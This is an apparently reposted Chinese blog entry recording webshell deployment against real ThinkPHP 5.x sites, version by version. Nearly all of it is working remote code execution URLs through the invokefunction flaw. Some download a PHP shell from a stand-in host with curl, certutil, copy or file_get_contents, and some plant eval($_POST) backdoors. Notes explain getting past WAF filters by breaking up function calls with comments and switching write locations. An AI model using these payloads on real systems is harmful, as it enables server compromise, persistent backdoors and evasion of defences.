ThinkPHP5.x.x各版本实战环境getshell
2019-11-04 11:49:51 Author: mp.weixin.qq.com(查看原文) 阅读量:131 收藏

文章作者:k

文章来源:拾樱shiying

  1. #这个文章我之前在t00ls已经分享过了

  2. #内容只是对tp5的实战环境下getshell做的记录,中间遇到的一些小问题的突破,没啥技术含量

-5.1.18

  1. http://www.xxxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index_bak2.php',file_get_contents('https://www.hack.com/xxx.js'));?>

-5.0.5

  1. wafeval进行了拦截

  2. 禁止了assert函数

  3. eval函数后面的括号进行了正则过滤

  4. file_get_contents函数后面的括号进行了正则过滤

  5. http://www.xxxx.com/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=2.php&vars[1][1]=<?php /*1111*//***/file_put_contents/*1**/(/***/'index11.php'/**/,file_get_contents(/**/'https://www.hack.com/xxx.js'))/**/;/**/?>

-5.1.18

  1. 所有目录都无写权限,base64函数被拦截

  2. http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1])

-5.0.18

  1. windows

  2. http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=1

  3. http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo()

  4. 使用certutil

  5. http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=passthru&vars[1][0]=cmd /c certutil -urlcache -split -f https://www.hack.com/xxx.js uploads/1.php

  6. 由于根目录没写权限,所以写到uploads

-5.0.14

  1. eval'')和assert'')被拦截,命令函数被禁止

  2. http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo();

  3. http://www.xxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_GET[1])&1=call_user_func_array("file_put_contents",array("3.php",file_get_contents("https://www.hack.com/xxx.js")));

-5.0.11

  1. http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=curl https://www.hack.com/xxx.js -o ./upload/xxx.php

-5.0.14

  1. php7.2

  2. http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.txt&vars[1][1]=1

  3. http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index111.php',file_get_contents('https://www.hack.com/xxx.js'));?>

  4. 写进去发现转义了尖括号

  5. 通过copy函数

  6. http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]= https://www.hack.com/xxx.js&vars[1][1]=112233.php

你可能喜欢

Thinkphp V5.X 远程代码执行漏洞-POC 集合

Thinkphp5.x 全版本通杀漏洞分析


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&amp;mid=2650457884&amp;idx=2&amp;sn=ebeb0978de0db5e56da63edcc35db9ee&amp;chksm=83bba2f8b4cc2beec730625318e3111b12a3bafe660226cebbd620e2cd6b6edf2a047f288e5b#rd
如有侵权请联系:admin#unsafe.sh